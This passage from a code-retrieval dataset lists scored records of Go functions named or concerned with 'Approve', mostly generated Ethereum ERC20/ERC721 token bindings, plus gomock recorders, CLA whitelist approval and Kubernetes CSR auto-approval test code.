mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Approve\", reflect.TypeOf((*MockCertificate)(nil).Approve), arg0, arg1, arg2)\n}", "title": "" }, { "docid": "a2f1bb46a12e7fece9e2070499273ae3", "score": "0.58776623", "text": "func ValidateDocApproveTX(signedTx string, id model.TradeStageDocPath, t *model.Trade, u *model.User) (*build.TransactionEnvelopeBuilder, *SimplifiedEnvelope, errstack.E) {\n\treturn validateDocOpTX(signedTx, id, t, u, model.ApprovalApproved)\n}", "title": "" }, { "docid": "4c7701622133d7acf81036ff771f0c02", "score": "0.5871103", "text": "func (_SampleCrowdsaleToken *SampleCrowdsaleTokenTransactor) Approve(opts *bind.TransactOpts, _spender common.Address, _value *big.Int) (*types.Transaction, error) {\n\treturn _SampleCrowdsaleToken.contract.Transact(opts, \"approve\", _spender, _value)\n}", "title": "" }, { "docid": "f19705c78b2e8050301fde37672fd38b", "score": "0.580811", "text": "func (_IDisputeCrowdsourcer *IDisputeCrowdsourcerTransactor) Approve(opts *bind.TransactOpts, _spender common.Address, _value *big.Int) (*types.Transaction, error) {\n\treturn _IDisputeCrowdsourcer.contract.Transact(opts, \"approve\", _spender, _value)\n}", "title": "" }, { "docid": "bbefdddcae6b913d57e024d026cc27b2", "score": "0.5787865", "text": "func (_SampleCrowdsaleToken *SampleCrowdsaleTokenSession) Approve(_spender common.Address, _value *big.Int) (*types.Transaction, error) {\n\treturn _SampleCrowdsaleToken.Contract.Approve(&_SampleCrowdsaleToken.TransactOpts, _spender, _value)\n}", "title": "" }, { "docid": "7579415ca63dec1ec0fb5a87d2197927", "score": "0.57830584", "text": "func (_IERC20 *IERC20Transactor) Approve(opts *bind.TransactOpts, spender common.Address, amount *big.Int) (*types.Transaction, error) {\n\treturn _IERC20.contract.Transact(opts, \"approve\", spender, amount)\n}", "title": "" }, { "docid": "7579415ca63dec1ec0fb5a87d2197927", "score": "0.57822675", "text": "func (_IERC20 *IERC20Transactor) Approve(opts *bind.TransactOpts, spender common.Address, amount *big.Int) (*types.Transaction, error) {\n\treturn _IERC20.contract.Transact(opts, \"approve\", spender, amount)\n}", "title": "" }, { "docid": "7579415ca63dec1ec0fb5a87d2197927", "score": "0.57822675", "text": "func (_IERC20 *IERC20Transactor) Approve(opts *bind.TransactOpts, spender common.Address, amount *big.Int) (*types.Transaction, error) {\n\treturn _IERC20.contract.Transact(opts, \"approve\", spender, amount)\n}", "title": "" }, { "docid": "7579415ca63dec1ec0fb5a87d2197927", "score": "0.57822675", "text": "func (_IERC20 *IERC20Transactor) Approve(opts *bind.TransactOpts, spender common.Address, amount *big.Int) (*types.Transaction, error) {\n\treturn _IERC20.contract.Transact(opts, \"approve\", spender, amount)\n}", "title": "" }, { "docid": "7579415ca63dec1ec0fb5a87d2197927", "score": "0.57822675", "text": "func (_IERC20 *IERC20Transactor) Approve(opts *bind.TransactOpts, spender common.Address, amount *big.Int) (*types.Transaction, error) {\n\treturn _IERC20.contract.Transact(opts, \"approve\", spender, amount)\n}", "title": "" }, { "docid": "21799949227118af04fb4acb7ede9da6", "score": "0.5773837", "text": "func TestMSKeeper_ConfirmCall_Approved(t *testing.T) {\n\tt.Parallel()\n\n\tinput := NewTestInput(t)\n\tkeeper, ctx := input.target, input.ctx\n\n\tcallID := dnTypes.NewIDFromUint64(0)\n\taddr := sdk.AccAddress(\"addr1\")\n\n\t// create call\n\t{\n\t\tmsg := NewMockMsMsg(true)\n\t\trequire.NoError(t, keeper.SubmitCall(ctx, msg, \"uniqueID\", addr))\n\t}\n\n\t// update call (change state)\n\t{\n\t\tcall, err := keeper.GetCall(ctx, callID)\n\t\trequire.NoError(t, err)\n\n\t\tcall.Approved = true\n\t\tkeeper.StoreCall(ctx, call)\n\t}\n\n\t// fail: call not accepts votes\n\t{\n\t\trequire.Error(t, keeper.ConfirmCall(ctx, callID, addr))\n\t}\n}", "title": "" }, { "docid": "38b2a94d2f4100dd58f95024c63fcef3", "score": "0.5757189", "text": "func (s service) ApproveCclaWhitelistRequest(ctx context.Context, companyID, claGroupID, requestID string) error {\n\terr := s.repo.ApproveCclaWhitelistRequest(requestID)\n\tif err != nil {\n\t\tlog.Warnf(\"ApproveCclaWhitelistRequest - problem updating approved list with 'approved' status for request: %s, error: %+v\",\n\t\t\trequestID, err)\n\t\treturn err\n\t}\n\n\trequestModel, err := s.repo.GetCclaWhitelistRequest(requestID)\n\tif err != nil {\n\t\tlog.Warnf(\"ApproveCclaWhitelistRequest - unable to lookup request by id: %s, error: %+v\", requestID, err)\n\t\treturn err\n\t}\n\n\tcompanyModel, err := s.companyRepo.GetCompany(ctx, companyID)\n\tif err != nil {\n\t\tlog.Warnf(\"ApproveCclaWhitelistRequest - unable to lookup company by id: %s, error: %+v\", companyID, err)\n\t\treturn err\n\t}\n\tclaGroupModel, err := s.projectRepo.GetCLAGroupByID(ctx, claGroupID, DontLoadRepoDetails)\n\tif err != nil {\n\t\tlog.Warnf(\"ApproveCclaWhitelistRequest - unable to lookup project by id: %s, error: %+v\", claGroupID, err)\n\t\treturn err\n\t}\n\n\tif requestModel.UserEmails == nil {\n\t\tmsg := fmt.Sprintf(\"ApproveCclaWhitelistRequest - unable to send approval email - email missing for request: %+v, error: %+v\",\n\t\t\trequestModel, err)\n\t\tlog.Warnf(msg)\n\t\treturn errors.New(msg)\n\t}\n\n\t// Send the email\n\tsendRequestApprovedEmailToRecipient(companyModel, claGroupModel, requestModel.UserName, requestModel.UserEmails[0])\n\n\treturn nil\n}", "title": "" }, { "docid": "6c0d5fd102bb79e56ea998e99c0c66f6", "score": "0.57562876", "text": "func (_DisputeCrowdsourcer *DisputeCrowdsourcerTransactor) Approve(opts *bind.TransactOpts, _spender common.Address, _value *big.Int) (*types.Transaction, error) {\n\treturn _DisputeCrowdsourcer.contract.Transact(opts, \"approve\", _spender, _value)\n}", "title": "" }, { "docid": "98d663f416a04b01c6d682e6d4d2c7fd", "score": "0.57431316", "text": "func (_ERC20 *ERC20Transactor) Approve(opts *bind.TransactOpts, spender common.Address, amount *big.Int) (*types.Transaction, error) {\n\treturn _ERC20.contract.Transact(opts, \"approve\", spender, amount)\n}", "title": "" }, { "docid": "98d663f416a04b01c6d682e6d4d2c7fd", "score": "0.57429343", "text": "func (_ERC20 *ERC20Transactor) Approve(opts *bind.TransactOpts, spender common.Address, amount *big.Int) (*types.Transaction, error) {\n\treturn _ERC20.contract.Transact(opts, \"approve\", spender, amount)\n}", "title": "" }, { "docid": "df48b34f3c43c6c77f3df147b2c1b7cb", "score": "0.5726447", "text": "func (_ERC20 *ERC20Transactor) Approve(opts *bind.TransactOpts, _spender common.Address, _value *big.Int) (*types.Transaction, error) {\n\treturn _ERC20.contract.Transact(opts, \"approve\", _spender, _value)\n}", "title": "" }, { "docid": "b1e4d0e1f4cf16d4ac6bfae85a46ebf9", "score": "0.57186943", "text": "func (_IDisputeCrowdsourcer *IDisputeCrowdsourcerSession) Approve(_spender common.Address, _value *big.Int) (*types.Transaction, error) {\n\treturn _IDisputeCrowdsourcer.Contract.Approve(&_IDisputeCrowdsourcer.TransactOpts, _spender, _value)\n}", "title": "" }, { "docid": "7e66319a1b86010c860e021325702bab", "score": "0.5704935", "text": "func (_DisputeCrowdsourcer *DisputeCrowdsourcerSession) Approve(_spender common.Address, _value *big.Int) (*types.Transaction, error) {\n\treturn _DisputeCrowdsourcer.Contract.Approve(&_DisputeCrowdsourcer.TransactOpts, _spender, _value)\n}", "title": "" }, { "docid": "dfc622b89e7d9f5fb2b8e1546cd738ed", "score": "0.5700356", "text": "func (_ERC20WithRate *ERC20WithRateTransactor) Approve(opts *bind.TransactOpts, spender common.Address, amount *big.Int) (*types.Transaction, error) {\n\treturn _ERC20WithRate.contract.Transact(opts, \"approve\", spender, amount)\n}", "title": "" }, { "docid": "dc1c615918f112e88c68c1558b0b1ccf", "score": "0.5685877", "text": "func (_ERC20Mintable *ERC20MintableTransactor) Approve(opts *bind.TransactOpts, spender common.Address, amount *big.Int) (*types.Transaction, error) {\n\treturn _ERC20Mintable.contract.Transact(opts, \"approve\", spender, amount)\n}", "title": "" }, { "docid": "fe6aab204d752d08e8542de2adb70e7a", "score": "0.5682089", "text": "func (_StandaloneERC20 *StandaloneERC20Transactor) Approve(opts *bind.TransactOpts, spender common.Address, value *big.Int) (*types.Transaction, error) {\n\treturn _StandaloneERC20.contract.Transact(opts, \"approve\", spender, value)\n}", "title": "" }, { "docid": "d3c7a8a1419d4ce0632b69cbdd31d394", "score": "0.5680896", "text": "func (_Cerc20 *Cerc20Transactor) Approve(opts *bind.TransactOpts, spender common.Address, amount *big.Int) (*types.Transaction, error) {\n\treturn _Cerc20.contract.Transact(opts, \"approve\", spender, amount)\n}", "title": "" }, { "docid": "a8a5f3e25da451f14af734f93727d225", "score": "0.56808615", "text": "func (_SampleCrowdsaleToken *SampleCrowdsaleTokenTransactorSession) Approve(_spender common.Address, _value *big.Int) (*types.Transaction, error) {\n\treturn _SampleCrowdsaleToken.Contract.Approve(&_SampleCrowdsaleToken.TransactOpts, _spender, _value)\n}", "title": "" }, { "docid": "05d44e66e2d49dfc641c047e1560667a", "score": "0.5662", "text": "func (_ERC20WithPermit *ERC20WithPermitTransactor) Approve(opts *bind.TransactOpts, spender common.Address, amount *big.Int) (*types.Transaction, error) {\n\treturn _ERC20WithPermit.contract.Transact(opts, \"approve\", spender, amount)\n}", "title": "" }, { "docid": "2f0be0881eb008598e0097914a353eda", "score": "0.56611896", "text": "func (mr *MockUsersServiceMockRecorder) Approve(arg0, arg1 interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Approve\", reflect.TypeOf((*MockUsersService)(nil).Approve), arg0, arg1)\n}", "title": "" }, { "docid": "53c794fd629e418a5b72c2b23580d865", "score": "0.5645692", "text": "func (_Erc721 *Erc721Transactor) Approve(opts *bind.TransactOpts, to common.Address, tokenId *big.Int) (*types.Transaction, error) {\n\treturn _Erc721.contract.Transact(opts, \"approve\", to, tokenId)\n}", "title": "" }, { "docid": "ec9b55baece84795d7c21476d44b7de1", "score": "0.56353796", "text": "func (_ERC20 *ERC20Transactor) Approve(opts *bind.TransactOpts, spender common.Address, value *big.Int) (*types.Transaction, error) {\n\treturn _ERC20.contract.Transact(opts, \"approve\", spender, value)\n}", "title": "" }, { "docid": "ec9b55baece84795d7c21476d44b7de1", "score": "0.56353796", "text": "func (_ERC20 *ERC20Transactor) Approve(opts *bind.TransactOpts, spender common.Address, value *big.Int) (*types.Transaction, error) {\n\treturn _ERC20.contract.Transact(opts, \"approve\", spender, value)\n}", "title": "" }, { "docid": "ec9b55baece84795d7c21476d44b7de1", "score": "0.56353796", "text": "func (_ERC20 *ERC20Transactor) Approve(opts *bind.TransactOpts, spender common.Address, value *big.Int) (*types.Transaction, error) {\n\treturn _ERC20.contract.Transact(opts, \"approve\", spender, value)\n}", "title": "" }, { "docid": "464d5c3ec246899da3e1828469b63f98", "score": "0.56328565", "text": "func (_SUSD *SUSDTransactor) Approve(opts *bind.TransactOpts, spender common.Address, amount *big.Int) (*types.Transaction, error) {\n\treturn _SUSD.contract.Transact(opts, \"approve\", spender, amount)\n}", "title": "" }, { "docid": "6c9c5fc4f28f2c59172880f006ffe57b", "score": "0.5618741", "text": "func (_ERC20Detailed *ERC20DetailedTransactor) Approve(opts *bind.TransactOpts, spender common.Address, amount *big.Int) (*types.Transaction, error) {\n\treturn _ERC20Detailed.contract.Transact(opts, \"approve\", spender, amount)\n}", "title": "" }, { "docid": "d60cc57ade4e64f6d4186b2ac2a8aaba", "score": "0.56072557", "text": "func (_IERC20 *IERC20Session) Approve(spender common.Address, amount *big.Int) (*types.Transaction, error) {\n\treturn _IERC20.Contract.Approve(&_IERC20.TransactOpts, spender, amount)\n}", "title": "" }, { "docid": "d60cc57ade4e64f6d4186b2ac2a8aaba", "score": "0.5606535", "text": "func (_IERC20 *IERC20Session) Approve(spender common.Address, amount *big.Int) (*types.Transaction, error) {\n\treturn _IERC20.Contract.Approve(&_IERC20.TransactOpts, spender, amount)\n}", "title": "" }, { "docid": "d60cc57ade4e64f6d4186b2ac2a8aaba", "score": "0.5606535", "text": "func (_IERC20 *IERC20Session) Approve(spender common.Address, amount *big.Int) (*types.Transaction, error) {\n\treturn _IERC20.Contract.Approve(&_IERC20.TransactOpts, spender, amount)\n}", "title": "" }, { "docid": "d60cc57ade4e64f6d4186b2ac2a8aaba", "score": "0.5606535", "text": "func (_IERC20 *IERC20Session) Approve(spender common.Address, amount *big.Int) (*types.Transaction, error) {\n\treturn _IERC20.Contract.Approve(&_IERC20.TransactOpts, spender, amount)\n}", "title": "" }, { "docid": "d60cc57ade4e64f6d4186b2ac2a8aaba", "score": "0.5606535", "text": "func (_IERC20 *IERC20Session) Approve(spender common.Address, amount *big.Int) (*types.Transaction, error) {\n\treturn _IERC20.Contract.Approve(&_IERC20.TransactOpts, spender, amount)\n}", "title": "" }, { "docid": "023568be335fde98b0f9ee2897d14ff0", "score": "0.56029516", "text": "func (_ERC20WithRate *ERC20WithRateSession) Approve(spender common.Address, amount *big.Int) (*types.Transaction, error) {\n\treturn _ERC20WithRate.Contract.Approve(&_ERC20WithRate.TransactOpts, spender, amount)\n}", "title": "" }, { "docid": "8610d0e6d0050761f340c917cf1b7dc4", "score": "0.5602505", "text": "func (_ERC20 *ERC20Session) Approve(spender common.Address, amount *big.Int) (*types.Transaction, error) {\n\treturn _ERC20.Contract.Approve(&_ERC20.TransactOpts, spender, amount)\n}", "title": "" }, { "docid": "8610d0e6d0050761f340c917cf1b7dc4", "score": "0.56022286", "text": "func (_ERC20 *ERC20Session) Approve(spender common.Address, amount *big.Int) (*types.Transaction, error) {\n\treturn _ERC20.Contract.Approve(&_ERC20.TransactOpts, spender, amount)\n}", "title": "" }, { "docid": "65bb0357e7e30b089dc578625b1554e8", "score": "0.55938685", "text": "func TestApproveRevenue(t *testing.T) {\n\t// buat dummy\n\n\trev := model.DummyFinanceRevenue()\n\trev.IsDeleted = int8(0)\n\trev.DocumentStatus = \"uncleared\"\n\trev.Amount = float64(10000)\n\trev.Save()\n\trev.RefType = \"test\"\n\n\t// test\n\te := ApproveRevenue(rev)\n\tassert.Error(t, e)\n}", "title": "" }, { "docid": "a8f83796c425dfd60c0b6ae471dd8351", "score": "0.55898315", "text": "func (_PausableTokenMock *PausableTokenMockTransactor) Approve(opts *bind.TransactOpts, _spender common.Address, _value *big.Int) (*types.Transaction, error) {\n\treturn _PausableTokenMock.contract.Transact(opts, \"approve\", _spender, _value)\n}", "title": "" }, { "docid": "89f2506b06427cbe932aeebd5ea4caf3", "score": "0.5569807", "text": "func (_StandaloneERC20 *StandaloneERC20Session) Approve(spender common.Address, value *big.Int) (*types.Transaction, error) {\n\treturn _StandaloneERC20.Contract.Approve(&_StandaloneERC20.TransactOpts, spender, value)\n}", "title": "" }, { "docid": "368c5c69e64f5dc51fd6d42dfac5e20f", "score": "0.5557391", "text": "func (_IDisputeCrowdsourcer *IDisputeCrowdsourcerTransactorSession) Approve(_spender common.Address, _value *big.Int) (*types.Transaction, error) {\n\treturn _IDisputeCrowdsourcer.Contract.Approve(&_IDisputeCrowdsourcer.TransactOpts, _spender, _value)\n}", "title": "" }, { "docid": "1bf2a97afd6799b1a0340acdb246b00e", "score": "0.5554053", "text": "func (_DisputeCrowdsourcer *DisputeCrowdsourcerTransactorSession) Approve(_spender common.Address, _value *big.Int) (*types.Transaction, error) {\n\treturn _DisputeCrowdsourcer.Contract.Approve(&_DisputeCrowdsourcer.TransactOpts, _spender, _value)\n}", "title": "" }, { "docid": "863efa9e269ccd388133845d5952a237", "score": "0.5552961", "text": "func (_ERC20Mintable *ERC20MintableSession) Approve(spender common.Address, amount *big.Int) (*types.Transaction, error) {\n\treturn _ERC20Mintable.Contract.Approve(&_ERC20Mintable.TransactOpts, spender, amount)\n}", "title": "" }, { "docid": "c01607b804e074e1a86f0d62b8364d6f", "score": "0.5547511", "text": "func (_ERC20 *ERC20Session) Approve(_spender common.Address, _value *big.Int) (*types.Transaction, error) {\n\treturn _ERC20.Contract.Approve(&_ERC20.TransactOpts, _spender, _value)\n}", "title": "" }, { "docid": "9200cfba6516dfb6fb575fcc15350f51", "score": "0.5539357", "text": "func (_Cerc20 *Cerc20Session) Approve(spender common.Address, amount *big.Int) (*types.Transaction, error) {\n\treturn _Cerc20.Contract.Approve(&_Cerc20.TransactOpts, spender, amount)\n}", "title": "" }, { "docid": "437a919f505e9c3f8a3408bf944f5f17", "score": "0.5535348", "text": "func (_RenERC20LogicV1 *RenERC20LogicV1Transactor) Approve(opts *bind.TransactOpts, spender common.Address, amount *big.Int) (*types.Transaction, error) {\n\treturn _RenERC20LogicV1.contract.Transact(opts, \"approve\", spender, amount)\n}", "title": "" }, { "docid": "8335750c481538831cc19b5b41a4699a", "score": "0.5524761", "text": "func (s *ShipmentLineItem) Approve() error {\n\tif s.Status != ShipmentLineItemStatusSUBMITTED {\n\t\treturn errors.Wrap(ErrInvalidTransition, \"Approve\")\n\t}\n\ts.Status = ShipmentLineItemStatusAPPROVED\n\ts.ApprovedDate = time.Now()\n\treturn nil\n}", "title": "" }, { "docid": "9b72ff06d0210b21f0b1ce2401d48c43", "score": "0.54983425", "text": "func (_ERC20 *ERC20Session) Approve(spender common.Address, value *big.Int) (*types.Transaction, error) {\n\treturn _ERC20.Contract.Approve(&_ERC20.TransactOpts, spender, value)\n}", "title": "" }, { "docid": "9b72ff06d0210b21f0b1ce2401d48c43", "score": "0.54983425", "text": "func (_ERC20 *ERC20Session) Approve(spender common.Address, value *big.Int) (*types.Transaction, error) {\n\treturn _ERC20.Contract.Approve(&_ERC20.TransactOpts, spender, value)\n}", "title": "" }, { "docid": "9b72ff06d0210b21f0b1ce2401d48c43", "score": "0.54983425", "text": "func (_ERC20 *ERC20Session) Approve(spender common.Address, value *big.Int) (*types.Transaction, error) {\n\treturn _ERC20.Contract.Approve(&_ERC20.TransactOpts, spender, value)\n}", "title": "" }, { "docid": "233bc69d0987b84f30b0f94bf13be42c", "score": "0.54951304", "text": "func (_ERC677 *ERC677Transactor) Approve(opts *bind.TransactOpts, spender common.Address, value *big.Int) (*types.Transaction, error) {\n\treturn _ERC677.contract.Transact(opts, \"approve\", spender, value)\n}", "title": "" }, { "docid": "18cc4e9929730ce41db575d2df087a6e", "score": "0.5483063", "text": "func (_IERC20 *IERC20TransactorSession) Approve(spender common.Address, amount *big.Int) (*types.Transaction, error) {\n\treturn _IERC20.Contract.Approve(&_IERC20.TransactOpts, spender, amount)\n}", "title": "" }, { "docid": "18cc4e9929730ce41db575d2df087a6e", "score": "0.5483063", "text": "func (_IERC20 *IERC20TransactorSession) Approve(spender common.Address, amount *big.Int) (*types.Transaction, error) {\n\treturn _IERC20.Contract.Approve(&_IERC20.TransactOpts, spender, amount)\n}", "title": "" }, { "docid": "18cc4e9929730ce41db575d2df087a6e", "score": "0.5483063", "text": "func (_IERC20 *IERC20TransactorSession) Approve(spender common.Address, amount *big.Int) (*types.Transaction, error) {\n\treturn _IERC20.Contract.Approve(&_IERC20.TransactOpts, spender, amount)\n}", "title": "" }, { "docid": "18cc4e9929730ce41db575d2df087a6e", "score": "0.5483063", "text": "func (_IERC20 *IERC20TransactorSession) Approve(spender common.Address, amount *big.Int) (*types.Transaction, error) {\n\treturn _IERC20.Contract.Approve(&_IERC20.TransactOpts, spender, amount)\n}", "title": "" }, { "docid": "18cc4e9929730ce41db575d2df087a6e", "score": "0.54820627", "text": "func (_IERC20 *IERC20TransactorSession) Approve(spender common.Address, amount *big.Int) (*types.Transaction, error) {\n\treturn _IERC20.Contract.Approve(&_IERC20.TransactOpts, spender, amount)\n}", "title": "" }, { "docid": "6a366d290e04d57169c914b06beeb0e7", "score": "0.5480124", "text": "func (_ERC20 *ERC20TransactorSession) Approve(spender common.Address, amount *big.Int) (*types.Transaction, error) {\n\treturn _ERC20.Contract.Approve(&_ERC20.TransactOpts, spender, amount)\n}", "title": "" }, { "docid": "6a366d290e04d57169c914b06beeb0e7", "score": "0.547969", "text": "func (_ERC20 *ERC20TransactorSession) Approve(spender common.Address, amount *big.Int) (*types.Transaction, error) {\n\treturn _ERC20.Contract.Approve(&_ERC20.TransactOpts, spender, amount)\n}", "title": "" }, { "docid": "668d9a1e6a617e3aaa320b8e32365e90", "score": "0.54759973", "text": "func (_Erc721 *Erc721Session) Approve(to common.Address, tokenId *big.Int) (*types.Transaction, error) {\n\treturn _Erc721.Contract.Approve(&_Erc721.TransactOpts, to, tokenId)\n}", "title": "" }, { "docid": "45924c4deb5ba58e59e50e92eb0f74ce", "score": "0.5467034", "text": "func (_ERC20WithRate *ERC20WithRateTransactorSession) Approve(spender common.Address, amount *big.Int) (*types.Transaction, error) {\n\treturn _ERC20WithRate.Contract.Approve(&_ERC20WithRate.TransactOpts, spender, amount)\n}", "title": "" }, { "docid": "5fc9706a445bcb639826e28c351e9a9f", "score": "0.5454317", "text": "func (_ERC20 *ERC20TransactorSession) Approve(_spender common.Address, _value *big.Int) (*types.Transaction, error) {\n\treturn _ERC20.Contract.Approve(&_ERC20.TransactOpts, _spender, _value)\n}", "title": "" }, { "docid": "477d3bfb29682971e367e95a988a9ba4", "score": "0.5452286", "text": "func (_StandaloneERC20 *StandaloneERC20TransactorSession) Approve(spender common.Address, value *big.Int) (*types.Transaction, error) {\n\treturn _StandaloneERC20.Contract.Approve(&_StandaloneERC20.TransactOpts, spender, value)\n}", "title": "" }, { "docid": "8230c91f6168cf16a285efe4d41cf6f8", "score": "0.5451003", "text": "func (_ERC20Mintable *ERC20MintableTransactorSession) Approve(spender common.Address, amount *big.Int) (*types.Transaction, error) {\n\treturn _ERC20Mintable.Contract.Approve(&_ERC20Mintable.TransactOpts, spender, amount)\n}", "title": "" }, { "docid": "8b66b75c15e5f18d7f23b7b629223e99", "score": "0.5444665", "text": "func (_Zap *ZapTransactor) Approve(opts *bind.TransactOpts, _spender common.Address, _amount *big.Int) (*types.Transaction, error) {\r\n\treturn _Zap.contract.Transact(opts, \"approve\", _spender, _amount)\r\n}", "title": "" }, { "docid": "8526bb8520e3238f416e76ab13a195b3", "score": "0.543543", "text": "func (_ERC20WithPermit *ERC20WithPermitSession) Approve(spender common.Address, amount *big.Int) (*types.Transaction, error) {\n\treturn _ERC20WithPermit.Contract.Approve(&_ERC20WithPermit.TransactOpts, spender, amount)\n}", "title": "" }, { "docid": "8cd555236d97242c0ded50f09146ac26", "score": "0.5421629", "text": "func (_ERC20Pausable *ERC20PausableTransactor) Approve(opts *bind.TransactOpts, spender common.Address, value *big.Int) (*types.Transaction, error) {\n\treturn _ERC20Pausable.contract.Transact(opts, \"approve\", spender, value)\n}", "title": "" }, { "docid": "9743d87b56ad1b461f32718422b3ad86", "score": "0.5413343", "text": "func (_ERC20Detailed *ERC20DetailedSession) Approve(spender common.Address, amount *big.Int) (*types.Transaction, error) {\n\treturn _ERC20Detailed.Contract.Approve(&_ERC20Detailed.TransactOpts, spender, amount)\n}", "title": "" }, { "docid": "5e8f15a7a56726d55c56a72e47887f8e", "score": "0.5412527", "text": "func (_Cerc20 *Cerc20TransactorSession) Approve(spender common.Address, amount *big.Int) (*types.Transaction, error) {\n\treturn _Cerc20.Contract.Approve(&_Cerc20.TransactOpts, spender, amount)\n}", "title": "" }, { "docid": "64f3e84c8bc4668cf82dedbefec56d21", "score": "0.54107827", "text": "func (a *ControllerSteps) ApproveRequest(agentID string) error {\n\treturn a.performApproveRequest(agentID, \"\", false)\n}", "title": "" }, { "docid": "7c36ee2d59f7abec3f162ee89f59cdcb", "score": "0.54064536", "text": "func (_StandardToken *StandardTokenTransactor) Approve(opts *bind.TransactOpts, _spender common.Address, _value *big.Int) (*types.Transaction, error) {\n\treturn _StandardToken.contract.Transact(opts, \"approve\", _spender, _value)\n}", "title": "" }, { "docid": "7c36ee2d59f7abec3f162ee89f59cdcb", "score": "0.54064536", "text": "func (_StandardToken *StandardTokenTransactor) Approve(opts *bind.TransactOpts, _spender common.Address, _value *big.Int) (*types.Transaction, error) {\n\treturn _StandardToken.contract.Transact(opts, \"approve\", _spender, _value)\n}", "title": "" }, { "docid": "7c36ee2d59f7abec3f162ee89f59cdcb", "score": "0.54064536", "text": "func (_StandardToken *StandardTokenTransactor) Approve(opts *bind.TransactOpts, _spender common.Address, _value *big.Int) (*types.Transaction, error) {\n\treturn _StandardToken.contract.Transact(opts, \"approve\", _spender, _value)\n}", "title": "" }, { "docid": "68bab29cad3cbd157d3ceac54f36f21c", "score": "0.5393864", "text": "func (_ERC677Token *ERC677TokenTransactor) Approve(opts *bind.TransactOpts, spender common.Address, value *big.Int) (*types.Transaction, error) {\n\treturn _ERC677Token.contract.Transact(opts, \"approve\", spender, value)\n}", "title": "" }, { "docid": "271ba4984fe419f640d390e9f410eaf9", "score": "0.5393619", "text": "func (_CappedToken *CappedTokenTransactor) Approve(opts *bind.TransactOpts, _spender common.Address, _value *big.Int) (*types.Transaction, error) {\n\treturn _CappedToken.contract.Transact(opts, \"approve\", _spender, _value)\n}", "title": "" }, { "docid": "f22bab2767f6c84195f6b6058bd553cc", "score": "0.53919774", "text": "func (_ERC20 *ERC20TransactorSession) Approve(spender common.Address, value *big.Int) (*types.Transaction, error) {\n\treturn _ERC20.Contract.Approve(&_ERC20.TransactOpts, spender, value)\n}", "title": "" }, { "docid": "f22bab2767f6c84195f6b6058bd553cc", "score": "0.53919774", "text": "func (_ERC20 *ERC20TransactorSession) Approve(spender common.Address, value *big.Int) (*types.Transaction, error) {\n\treturn _ERC20.Contract.Approve(&_ERC20.TransactOpts, spender, value)\n}", "title": "" }, { "docid": "f22bab2767f6c84195f6b6058bd553cc", "score": "0.53919774", "text": "func (_ERC20 *ERC20TransactorSession) Approve(spender common.Address, value *big.Int) (*types.Transaction, error) {\n\treturn _ERC20.Contract.Approve(&_ERC20.TransactOpts, spender, value)\n}", "title": "" }, { "docid": "de96708e41b2ee42cae49161e2d3f5dd", "score": "0.5387035", "text": "func TestController_AutoApproval(t *testing.T) {\n\tvalidKubeAPIServerClientKubeletUsername := \"system:node:abc\"\n\tvalidKubeAPIServerClientKubeletCSR := pemWithTemplate(&x509.CertificateRequest{\n\t\tSubject: pkix.Name{\n\t\t\tCommonName: validKubeAPIServerClientKubeletUsername,\n\t\t\tOrganization: []string{\"system:nodes\"},\n\t\t},\n\t})\n\tvalidKubeAPIServerClientKubeletUsages := []certv1.KeyUsage{\n\t\tcertv1.UsageDigitalSignature,\n\t\tcertv1.UsageKeyEncipherment,\n\t\tcertv1.UsageClientAuth,\n\t}\n\ttests := map[string]struct {\n\t\tsignerName string\n\t\trequest []byte\n\t\tusages []certv1.KeyUsage\n\t\tusername string\n\t\tautoApproved bool\n\t\tgrantNodeClient bool\n\t\tgrantSelfNodeClient bool\n\t}{\n\t\t\"should auto-approve CSR that has kube-apiserver-client-kubelet signerName and matches requirements\": {\n\t\t\tsignerName: certv1.KubeAPIServerClientKubeletSignerName,\n\t\t\trequest: validKubeAPIServerClientKubeletCSR,\n\t\t\tusages: validKubeAPIServerClientKubeletUsages,\n\t\t\tusername: validKubeAPIServerClientKubeletUsername,\n\t\t\tgrantSelfNodeClient: true,\n\t\t\tautoApproved: true,\n\t\t},\n\t\t\"should auto-approve CSR that has kube-apiserver-client-kubelet signerName and matches requirements despite missing username if nodeclient permissions are granted\": {\n\t\t\tsignerName: certv1.KubeAPIServerClientKubeletSignerName,\n\t\t\trequest: validKubeAPIServerClientKubeletCSR,\n\t\t\tusages: validKubeAPIServerClientKubeletUsages,\n\t\t\tusername: \"does-not-match-cn\",\n\t\t\tgrantNodeClient: true,\n\t\t\tautoApproved: true,\n\t\t},\n\t\t\"should not auto-approve CSR that has kube-apiserver-client signerName that DOES match kubelet CSR requirements\": {\n\t\t\tsignerName: certv1.KubeAPIServerClientSignerName,\n\t\t\trequest: validKubeAPIServerClientKubeletCSR,\n\t\t\tusages: validKubeAPIServerClientKubeletUsages,\n\t\t\tusername: validKubeAPIServerClientKubeletUsername,\n\t\t\tautoApproved: false,\n\t\t},\n\t}\n\tfor name, test := range tests {\n\t\tt.Run(name, func(t *testing.T) {\n\t\t\t_, ctx := ktesting.NewTestContext(t)\n\t\t\tctx, cancel := context.WithCancel(ctx)\n\t\t\tdefer cancel()\n\t\t\t// Run an apiserver with the default configuration options.\n\t\t\ts := kubeapiservertesting.StartTestServerOrDie(t, kubeapiservertesting.NewDefaultTestServerOptions(), []string{\"\"}, framework.SharedEtcd())\n\t\t\tdefer s.TearDownFn()\n\t\t\tclient := clientset.NewForConfigOrDie(s.ClientConfig)\n\t\t\tinformers := informers.NewSharedInformerFactory(clientset.NewForConfigOrDie(restclient.AddUserAgent(s.ClientConfig, \"certificatesigningrequest-informers\")), time.Second)\n\n\t\t\t// Register the controller\n\t\t\tc := approver.NewCSRApprovingController(ctx, client, informers.Certificates().V1().CertificateSigningRequests())\n\t\t\t// Start the controller & informers\n\t\t\tinformers.Start(ctx.Done())\n\t\t\tgo c.Run(ctx, 1)\n\n\t\t\t// Configure appropriate permissions\n\t\t\tif test.grantNodeClient {\n\t\t\t\tgrantUserNodeClientPermissions(t, client, test.username, false)\n\t\t\t}\n\t\t\tif test.grantSelfNodeClient {\n\t\t\t\tgrantUserNodeClientPermissions(t, client, test.username, true)\n\t\t\t}\n\n\t\t\t// Use a client that impersonates the test case 'username' to ensure the `spec.username`\n\t\t\t// field on the CSR is set correctly.\n\t\t\timpersonationConfig := restclient.CopyConfig(s.ClientConfig)\n\t\t\timpersonationConfig.Impersonate.UserName = test.username\n\t\t\timpersonationClient, err := clientset.NewForConfig(impersonationConfig)\n\t\t\tif err != nil 